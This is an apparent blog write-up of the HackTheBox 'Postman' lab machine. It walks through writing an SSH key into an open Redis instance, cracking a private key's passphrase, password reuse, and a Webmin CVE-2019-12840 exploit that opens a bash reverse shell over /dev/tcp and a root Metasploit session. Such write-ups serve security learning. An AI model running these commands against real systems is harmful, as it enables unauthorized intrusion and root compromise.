HackTheBox - Postman

— Written by — 11 min read
postman-hackthebox

Postman just retired on HackTheBox. It was an easy difficulty box. It was quite quick but nice to solve. It can be really interesting if you want to learn and play with the now widely used Redis.

Tl;Dr: The user flag consisted in exploiting a redis instance accessible without authentication. From this instance you would bruteforce the passphrase of a SSH key found in a backup folder and use its password to pivot from redis user to Matt user.
Using the same password we could login to a Webmin panel and use an exploit (CVE-2019-12840) to achieve remote commands execution as root and grab the flag.

Alright, let’s get into it!


First thing first, let’s add the box IP to the host file:

1
[hg8@archbook ~]$ echo "10.10.10.160 postman.htb" >> /etc/hosts

and let’s start!

User flag

Recon

Let’s start with the classic nmap scan to see which ports are open on the box:

1
2
3
4
5
6
7
8
9
10
11
[hg8@archbook ~]$ nmap -sV -sT -sC postman.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-22 20:34 CET
Nmap scan report for postman.htb (10.10.10.160)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
10000/tcp open ssl/http MiniServ 1.910 (Webmin httpd)
|_ssl-cert: Subject: commonName=*/organizationName=Webmin Webserver on Postman
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 46.41 seconds

We have the “classic”: A web app running on port 80 and the SSH port 22 open. We also have a Webmin server running on port 10000.

Opening http://postman.htb display the following website:

postman website

While https://postman.htb:10000/ display the classical Webmin login page:

postman webmin

Starting from there….well… There isn’t anything interesting. I run into a lot of rabbit holes without being able to find anything.

In particularly I tried running exploits against the Webmin instance including the infamous CVE-2019-15107 - Remote Code Execution via Password Reset function. But I couldn’t get anything to work nor making progress any progress.

A piece of the puzzle looked missing to me. When this happen I like to restart my recon process from the beginning, to make sure I didn’t forgot anything.

Let’s start by re-running nmap, but this time on the top 10,000 ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[hg8@archbook ~]$ nmap -sV -sT -sC --top-ports 10000 postman.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-22 20:39 CET
Nmap scan report for postman.htb (10.10.10.160)
Host is up (0.035s latency).
Not shown: 8316 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Cyber Geek's Personal Website
6379/tcp open redis Redis key-value store 4.0.9
10000/tcp open http MiniServ 1.910 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 150.41 seconds

Aah that’s interesting! A new service appeared. A redis instance running on port 6379. That’s probably the missing piece of our puzzle.

Being new to redis I spent a bit of time reading articles and documentations on redis before starting anything.
During my research I stumbled upon this very interesting article: “A few things about Redis security”.

The article, written by one of the redis dev, explain how to “crack Redis for fun and no profit“ on exposed redis instance with no authentication activated.

Maybe it’s our case ? First, let’s check if the redis instance need authentication:

1
2
3
4
5
6
7
8
9
10
[hg8@archbook ~]$ telnet postman.htb 6379
Trying 10.10.10.160...
Connected to postman.htb.
Escape character is '^]'.
echo "Hey no AUTH required!"
$21
Hey no AUTH required!
quit
+OK
Connection closed by foreign host.

Well, indeed not auth is needed to access this redis instance, that’s good news. Let’s follow the article to see if we can exploit it the same way the author present in his article.

The next step described in the article is to write our own SSH Public key into ~/ssh/authorized_keys in order to gain access to the server.

First step is to generate a ssh key pair that we will add to the authorized_keys of the server:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[hg8@archbook ~]$ ssh-keygen -t rsa -C "[email protected]"
Generating public/private rsa key pair.
Enter file in which to save the key (/home/hg8/.ssh/id_rsa): ./id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa.
Your public key has been saved in ./id_rsa.pub.
The key fingerprint is:
f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 [email protected]
The key's randomart image is:
+--[ RSA 2048]----+
| . O+.|
| . o o..o*o|
| = . + .+ . |
| o B o . |
| . o S E . |
| . o |
| |
| |
| |
+-----------------+

I quote the author on this part since he explains way better than me:

Now I’ve a key. My goal is to put it into the Redis server memory, and later to transfer it into a file, in a way that the resulting authorized_keys file is still a valid one. Using the RDB format to do this has the problem that the output will be binary and may in theory also compress strings. But well, maybe this is not a problem. To start let’s pad the public SSH key I generated with newlines before and after the content:

1
[hg8@archbook ~]$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > id_rsa_with_nl.pub

Now that we have all the pieces, let’s add our ssh key to the authorized_keys file:

1
2
3
4
5
6
7
8
9
10
[hg8@archbook ~]$ redis-cli -h 10.10.10.160 echo flushall
"flushall"
[hg8@archbook ~]$ cat id_rsa_with_nl.pub | redis-cli -h 10.10.10.160 -x set crackit
OK
[hg8@archbook ~]$ redis-cli -h 10.10.10.160 config set dir /var/lib/redis/.ssh
OK
[hg8@archbook ~]$ redis-cli -h 10.10.10.160 config set dbfilename "authorized_keys"
OK
[hg8@archbook ~]$ redis-cli -h 10.10.10.160 save
OK

Then let’s try to login using this generated ssh key:

1
2
3
4
5
6
7
8
9
10
11
12
13
[hg8@archbook ~]$ ssh -i id_rsa [email protected]
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage


* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1
redis@Postman:~$

Pivot Redis -> Matt

Ok, now we have access to the machine with redis user, let’s now find the user to pivot to :

1
2
3
redis@Postman:~$ ls -l /home/Matt/
total 4
-rw-rw---- 1 Matt Matt 33 Aug 26 03:07 user.txt

Matt is our user. Let’s do a bit more of recon to see if we can find additional informations.

While searching around, we find an interesting backup file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
redis@Postman:/$ cat /opt/id_rsa.bak
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,73E9CEFBCCF5287C

JehA51I17rsCOOVqyWx+C8363IOBYXQ11Ddw/pr3L2A2NDtB7tvsXNyqKDghfQnX
cwGJJUD9kKJniJkJzrvF1WepvMNkj9ZItXQzYN8wbjlrku1bJq5xnJX9EUb5I7k2
7GsTwsMvKzXkkfEZQaXK/T50s3I4Cdcfbr1dXIyabXLLpZOiZEKvr4+KySjp4ou6
cdnCWhzkA/TwJpXG1WeOmMvtCZW1HCButYsNP6BDf78bQGmmlirqRmXfLB92JhT9
1u8JzHCJ1zZMG5vaUtvon0qgPx7xeIUO6LAFTozrN9MGWEqBEJ5zMVrrt3TGVkcv
EyvlWwks7R/gjxHyUwT+a5LCGGSjVD85LxYutgWxOUKbtWGBbU8yi7YsXlKCwwHP
UH7OfQz03VWy+K0aa8Qs+Eyw6X3wbWnue03ng/sLJnJ729zb3kuym8r+hU+9v6VY
Sj+QnjVTYjDfnT22jJBUHTV2yrKeAz6CXdFT+xIhxEAiv0m1ZkkyQkWpUiCzyuYK
t+MStwWtSt0VJ4U1Na2G3xGPjmrkmjwXvudKC0YN/OBoPPOTaBVD9i6fsoZ6pwnS
5Mi8BzrBhdO0wHaDcTYPc3B00CwqAV5MXmkAk2zKL0W2tdVYksKwxKCwGmWlpdke
P2JGlp9LWEerMfolbjTSOU5mDePfMQ3fwCO6MPBiqzrrFcPNJr7/McQECb5sf+O6
jKE3Jfn0UVE2QVdVK3oEL6DyaBf/W2d/3T7q10Ud7K+4Kd36gxMBf33Ea6+qx3Ge
SbJIhksw5TKhd505AiUH2Tn89qNGecVJEbjKeJ/vFZC5YIsQ+9sl89TmJHL74Y3i
l3YXDEsQjhZHxX5X/RU02D+AF07p3BSRjhD30cjj0uuWkKowpoo0Y0eblgmd7o2X
0VIWrskPK4I7IH5gbkrxVGb/9g/W2ua1C3Nncv3MNcf0nlI117BS/QwNtuTozG8p
S9k3li+rYr6f3ma/ULsUnKiZls8SpU+RsaosLGKZ6p2oIe8oRSmlOCsY0ICq7eRR
hkuzUuH9z/mBo2tQWh8qvToCSEjg8yNO9z8+LdoN1wQWMPaVwRBjIyxCPHFTJ3u+
Zxy0tIPwjCZvxUfYn/K4FVHavvA+b9lopnUCEAERpwIv8+tYofwGVpLVC0DrN58V
XTfB2X9sL1oB3hO4mJF0Z3yJ2KZEdYwHGuqNTFagN0gBcyNI2wsxZNzIK26vPrOD
b6Bc9UdiWCZqMKUx4aMTLhG5ROjgQGytWf/q7MGrO3cF25k1PEWNyZMqY4WYsZXi
WhQFHkFOINwVEOtHakZ/ToYaUQNtRT6pZyHgvjT0mTo0t3jUERsppj1pwbggCGmh
KTkmhK+MTaoy89Cg0Xw2J18Dm0o78p6UNrkSue1CsWjEfEIF3NAMEU2o+Ngq92Hm
npAFRetvwQ7xukk0rbb6mvF8gSqLQg7WpbZFytgS05TpPZPM0h8tRE8YRdJheWrQ
VcNyZH8OHYqES4g2UF62KpttqSwLiiF4utHq+/h5CQwsF+JRg88bnxh2z2BD6i5W
X+hK5HPpp6QnjZ8A5ERuUEGaZBEUvGJtPGHjZyLpkytMhTjaOrRNYw==
-----END RSA PRIVATE KEY-----

A private RSA key, we can probably use it to connect to matt account using SSH… Let’s pull this key to work on it offline:

1
2
[hg8@archbook ~]$ scp -i id_rsa [email protected]:/opt/id_rsa.bak .
id_rsa.bak 100% 1743 48.1KB/s 00:00

First thing to try login through SSH on Matt‘s’ account with this key:

1
2
3
[hg8@archbook ~]$ chmod 600 id_rsa.bak
[hg8@archbook ~]$ ssh -i id_rsa.bak [email protected]
Enter passphrase for key 'id_rsa.bak':

Of course a passphare is needed. Maybe we can bruteforce it? Calling john to the rescue:

1
2
3
4
5
6
7
8
9
[hg8@archbook ~]$ ssh2john id_rsa.bak > id_rsa.hash

[hg8@archbook ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
computer2008 (id_rsa.bak)
1g 0:00:00:12 DONE (2019-12-22 21:16) 0.08264g/s 1185Kp/s 1185Kc/s 1185KC/s *7¡Vamos!
Session completed

Good, we got a passphrase here! Let’s try to login again:

1
2
3
[hg8@archbook ~]$ ssh -i id_rsa.bak [email protected]
Enter passphrase for key 'id_rsa.bak':
Connection closed by 10.10.10.160 port 22

We immediately get aConnection closed error message upon connexion… Seems like we have the right ssh key, the right passphare but the ssh config forbid Matt to connect.

Let’s confirm those doubts:

1
2
3
4
redis@Postman:~$ cat /etc/ssh/sshd_config
[...]
#deny users
DenyUsers Matt

Alright so Matt is not allowed to SSH, we need to find another way to access his account.

If Matt reuse password we should be able switch to Matt from Redis user using su

1
2
3
4
redis@Postman:~$ su - Matt
Password:
Matt@Postman:~$ cat user.txt
51xxxxxxxxxxxxxxxxxxxxxx3c

Root Flag

Recon

Now that we have access to our user, let’s make a bit of recon to see if we can escalate our privileges to root.

After a while we can not find anything worthy onto Matt account. Once again, when being stuck let’s go back at beginning to make sure we don’t forget anything. Remember that Webmin instance ? It must be there for a reason…

Knowing that Matt reuse his password maybe we can be able to connect to Webmin using the same credentials (Matt:computer2008) ?

Let’s try to login:

postman webmin login

Success! We are in...

From this control panel we can not access a lot… Only the Software Package Updates page. We can not seem to do anything interesting from there.

Knowing from the nmap result and the page footer, the Webmin version is 1.910, let’s see if some exploit have been published:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[hg8@archbook ~]$ searchsploit webmin
----------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------- ----------------------------------------
DansGuardian Webmin Module 0.x - 'edit.cgi' Directory Trav | exploits/cgi/webapps/23535.txt
Webmin - Brute Force / Command Execution | exploits/multiple/remote/705.pl
Webmin 0.9x / Usermin 0.9x/1.0 - Access Session ID Spoofin | exploits/linux/remote/22275.pl
Webmin 0.x - 'RPC' Privilege Escalation | exploits/linux/remote/21765.pl
Webmin 0.x - Code Input Validation | exploits/linux/local/21348.txt
Webmin 1.5 - Brute Force / Command Execution | exploits/multiple/remote/746.pl
Webmin 1.5 - Web Brute Force (CGI) | exploits/multiple/remote/745.pl
Webmin 1.580 - '/file/show.cgi' Remote Command Execution ( | exploits/unix/remote/21851.rb
Webmin 1.850 - Multiple Vulnerabilities | exploits/cgi/webapps/42989.txt
Webmin 1.900 - Remote Command Execution (Metasploit) | exploits/cgi/remote/46201.rb
Webmin 1.910 - 'Package Updates' Remote Command Execution | exploits/linux/remote/46984.rb
Webmin 1.920 - Remote Code Execution | exploits/linux/webapps/47293.sh
Webmin 1.920 - Unauthenticated Remote Code Execution (Meta | exploits/linux/remote/47230.rb
Webmin 1.x - HTML Email Command Execution | exploits/cgi/webapps/24574.txt
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosu | exploits/multiple/remote/1997.php
Webmin < 1.290 / Usermin < 1.220 - Arbitrary File Disclosu | exploits/multiple/remote/2017.pl
phpMyWebmin 1.0 - 'target' Remote File Inclusion | exploits/php/webapps/2462.txt
phpMyWebmin 1.0 - 'window.php' Remote File Inclusion | exploits/php/webapps/2451.txt
webmin 0.91 - Directory Traversal | exploits/cgi/remote/21183.txt
----------------------------------------------------------- ----------------------------------------

Well well, what do we have here… Webmin 1.910 - 'Package Updates' Remote Command Execution. Sounds exactly what we need! Let’s try this one.

This exploit first came as a Metasploit module, but since I try to avoid using Metasploit as much as possible I will use this Python version.

First, let’s open our netcat listener:

1
2
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585

And let’s launch the exploit (after reading the source code, no modification seems needed to make it work properly on this box):

1
2
3
4
5
6
7
8
[hg8@archbook ~]$ git clone https://github.com/bkaraceylan/CVE-2019-12840_POC.git
Cloning into 'CVE-2019-12840_POC'...
Unpacking objects: 100% (10/10), done.
[hg8@archbook ~]$ cd CVE-2019-12840_POC
[hg8@archbook ~]$ python exploit.py -u https://postman.htb -p 10000 -U Matt -P computer2008 -c "bash -i >& /dev/tcp/10.10.10.10/8585 0>&1"
[*] Attempting to login...
[*] Exploiting...
[*] Executing payload...

Aaaand a new connection open on our listener:

1
2
3
4
5
6
7
[hg8@archbook ~]$ nc -l -vv -p 8585
Listening on any address 8585
Connection from 10.10.10.160:54474

root@Postman:/usr/share/webmin/package-updates/# cd
root@Postman:~# cat root.txt
a2xxxxxxxxxxxxxxxxxxxxxce

Additional information

For the CVE-2019-12840, Metasploit could have been used the following way:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
[hg8@archbook ~]$ msfconsole
msf5 > use exploit/linux/http/webmin_packageup_rce
msf5 exploit(linux/http/webmin_packageup_rce) > show options

Module options (exploit/linux/http/webmin_packageup_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10000 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for Webmin application
USERNAME yes Webmin Username
VHOST no HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Webmin <= 1.910


msf5 exploit(linux/http/webmin_packageup_rce) > set RHOSTS 10.10.10.160
RHOSTS => 10.10.10.160
msf5 exploit(linux/http/webmin_packageup_rce) > set LHOST 10.10.10.10
LHOST => 10.10.10.160
msf5 exploit(linux/http/webmin_packageup_rce) > set username Matt
username => Matt
msf5 exploit(linux/http/webmin_packageup_rce) > set password computer2008
password => computer2008
msf5 exploit(linux/http/webmin_packageup_rce) > set payload cmd/unix/reverse_python
payload => cmd/unix/reverse_python

msf5 exploit(linux/http/webmin_packageup_rce) > set SSL true
SSL => true
msf5 exploit(linux/http/webmin_packageup_rce) > options

Module options (exploit/linux/http/webmin_packageup_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD computer2008 yes Webmin Password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.10.10.160 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 10000 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path for Webmin application
USERNAME Matt yes Webmin Username
VHOST no HTTP server virtual host


Payload options (cmd/unix/reverse_python):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.15.123 yes The listen address (an interface may be specified)
LPORT 8585 yes The listen port
SHELL /bin/bash yes The system shell to use.



msf5 exploit(linux/http/webmin_packageup_rce) > check

[*] NICE! Matt has the right to >>Package Update<<
[+] 10.10.10.160:10000 - The target is vulnerable.
msf5 exploit(linux/http/webmin_packageup_rce) > run

[*] Started reverse TCP handler on 10.10.10.10:8585
[+] Session cookie: 0712c463a268f71262aa809eb4f41928
[*] Attempting to execute the payload...
[*] Command shell session 1 opened (10.10.10.10:8585 -> 10.10.10.160:38146) at 2019-11-05 02:07:59 +0100

id
uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
a2xxxxxxxxxxxxxxxxxxxxxce

That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!

See you next time ;)

-hg8



CTFHackTheBoxEasy Box
, , , , , , ,